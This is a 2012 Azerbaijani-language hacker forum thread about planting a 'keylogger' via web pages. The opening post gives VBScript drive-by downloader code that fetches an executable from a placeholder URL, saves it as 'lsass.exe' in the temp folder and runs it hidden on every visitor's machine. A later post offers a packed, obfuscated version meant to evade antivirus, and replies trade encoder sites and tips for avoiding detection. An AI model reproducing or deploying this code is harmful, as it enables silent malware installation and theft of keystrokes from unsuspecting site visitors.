Anti-armenia.ORG - Forumlar - Html Keylogger Düzəltmək



Istifadəçi
    2012-05-08 20:00 GMT                 

M4NY3T!K



Gold
Mesaj Sayı : 606
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   7  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Naxçıvan
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


İstifadəsi Haqqında Biraz məlumat Verim.
Kodları sadəcə keylogger adresi qismi xaricində Dəyişdirməyin Bu kodları saytınız Varsa saytınıza yerləşdirin
Saytınıza Baxan hərkəsə Keyloggeri soxa bilərsiniz
Bunuda Qeyd edimki Keyloggeri , Kaspersky 6.0 - 7.0 Nod32,BitDefender,Avast Kimi Antiviruslar Tutur!
Siz sadəcə "http://www.site.com/keyloggeradresi.exe" Yazılan yeri dəyişin yəni keyloggeradresi.exe ni silib Keyloggerinizin adini nə Qoymusunuzsa Onu yazın.

Kodlar.


Kod:
<script language="VBScript">
on error resume next
Set obj1 = document.createElement("object")
obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
est1="Microsoft."&"_xmlHTTP"
Set obj2 = obj1.CreateObject(est1,"")

est="Ado"&"db."&"Str"&"eam"
set obj3 = obj1.createobject(est,"")
obj3.type = 1
est2="GET"
obj2.Open est2, "http://www.siteniz.com/keyloggeradresiniz.exe", False
obj2.Send

set F = obj1.createobject("Scripting.FileSystemObject","")
set pasta = F.GetSpecialFolder(2)
fi="lsass.exe"
fi= F.BuildPath(pasta,fi)

obj3.open
obj3.write obj2.responseBody   
obj3.savetofile fi,2
obj3.close

set obj5 = obj1.createobject("Shell.Application","")

obj5.ShellExecute fi,"","","open",0
</script>

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-05-08 20:09 GMT                 

StealtH



Security
Mesaj Sayı : 839
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   25  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Sumqayıt
Ölkə :
Məslək : Pan - Turkism
Yaş : 34
Mesaj :

Mövzunu Paylaş!


əla bu javascript də yazılmış downloader-di
bro bəs bunu char kod ilə crypt eləməyi necə prob eləmisən ? (av-lərdən gizlətmək üçün)

Bura Ergenekon, təpədən-dırnağa Türkəm!

http://s41.radikal.ru/i092/1308/a7/c6e81f41523b.png
Anti-armenia.ORG
    

Istifadəçi
    2012-05-08 20:15 GMT                 

M4NY3T!K



Gold
Mesaj Sayı : 606
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   7  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Naxçıvan
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Bəli Html Trojan Downloaderdi Javascriptdə Yazılmışdır
Əlimdə Belə bir sayt Varıydı.
Həmin keylogger Kodunu Encode edərək Antilərdən Gizlədirdi
Təəsüfki O Sayt uje işləmir.

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-05-08 20:18 GMT                 

StealtH



Security
Mesaj Sayı : 839
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   25  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Sumqayıt
Ölkə :
Məslək : Pan - Turkism
Yaş : 34
Mesaj :

Mövzunu Paylaş!


mende biri var o vəziyyətdə crypt elədi

Kod:
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('<10 33="32">31 29 30 34 11 3=35.40("39")3.28"36","37:41-26-22-21-20"18="27."&"25"11 7=3.24(18,"")17="23"&"19."&"38"&"53"6 4=3.8(17,"")4.58=1 15="57"7.56 15,"42://60.59.62/64.13",63 7.61 6 9=3.8("55.54","")6 12=9.46(2)5="45.13"5=9.44(12,5)4.14 4.43 7.47 4.48 5,2 4.52 6 16=3.8("51.50","")16.49 5,"","","14",0</10>',10,65,'|||obj1|obj3|fi|set|obj2|createobject|F|script|Set|pasta|exe|open|est2|obj5|est|est1|db|00C04FC29E36|983A|11D0|Ado|CreateObject|_0|65A3|Microsoft|setAttribute|error|resume|on|VBScript|language|next|document|classid|clsid|Str|object|createElement|BD96C556|http|write|BuildPath|lsass|GetSpecialFolder|responseBody|savetofile|ShellExecute|Application|Shell|close|eam|FileSystemObject|Scripting|Open|GET|type|siteniz|www|Send|com|False|keyloggeradresiniz'.split('|'),0,{}))
daha bilmirəm işlək oldu ya yox amma kaspersky susur

Bura Ergenekon, təpədən-dırnağa Türkəm!

http://s41.radikal.ru/i092/1308/a7/c6e81f41523b.png
Anti-armenia.ORG
    

Istifadəçi
    2012-05-08 20:23 GMT                 

M4NY3T!K



Gold
Mesaj Sayı : 606
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   7  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Naxçıvan
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Aha Çox Gözəl,Mənədə Lazım olacaq Verərsən.
işləməyinə işləyir.

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-05-08 20:26 GMT                 

LocaL



Gold
Mesaj Sayı : 141
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   2  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Badu Kubə
Ölkə :
Məslək : ....
Yaş :
Mesaj :

Mövzunu Paylaş!


təşəkkürlər.

Çakıl taşlı yollar yordu beni, keşke yürüse yanımda bişr-i hafi...
Anti-armenia.ORG
    

Istifadəçi
    2012-05-08 20:30 GMT                 

StealtH



Security
Mesaj Sayı : 839
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   25  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Sumqayıt
Ölkə :
Məslək : Pan - Turkism
Yaş : 34
Mesaj :

Mövzunu Paylaş!


çox çox çox xaiş edirəm crypt eləyəndən sonra virustotalda yoxlamayın !!!!!!!!!!

Bura Ergenekon, təpədən-dırnağa Türkəm!

http://s41.radikal.ru/i092/1308/a7/c6e81f41523b.png
Anti-armenia.ORG
    

Istifadəçi
    2012-05-08 21:01 GMT                 

FleXDowN



İstifadəçi
Mesaj Sayı : 33
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


İlk öncə mövzuya görə təüəkkür.. Manyetik, sən dediyin adi Base64 kodlamadi..Bu nov Cryet saytlari doludu netdə.Məsələn mən bu saytdan istifadə edirəm.: http://www.hackzone.ru/tools/htmlencoder/
Bu arada Keyloggeri yüklədi.Çox gözəl.Bəs keyloggeri açmasa aktiv olmaz axı..?

Anti-armenia.ORG
    

Istifadəçi
    2012-10-05 22:07 GMT                 

AnonSoldierOfALLAH



İstifadəçi
Mesaj Sayı : 19
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Məndə hər iki halda yəni həm crypt həmdə encrypt hallarinda copy eliyən kimi kodu .txt formatındada antivirusum sildi ) DR.WEB
Təşəkkürlər

WE ARE ANONYMOUS
WE ARE MUSLIMS
WE ARE SOLDIERS OF ALLAH
EXPECT US...

http://sapiens.by/wp-content/uploads/2011/08/anonymous_mask.png
Anti-armenia.ORG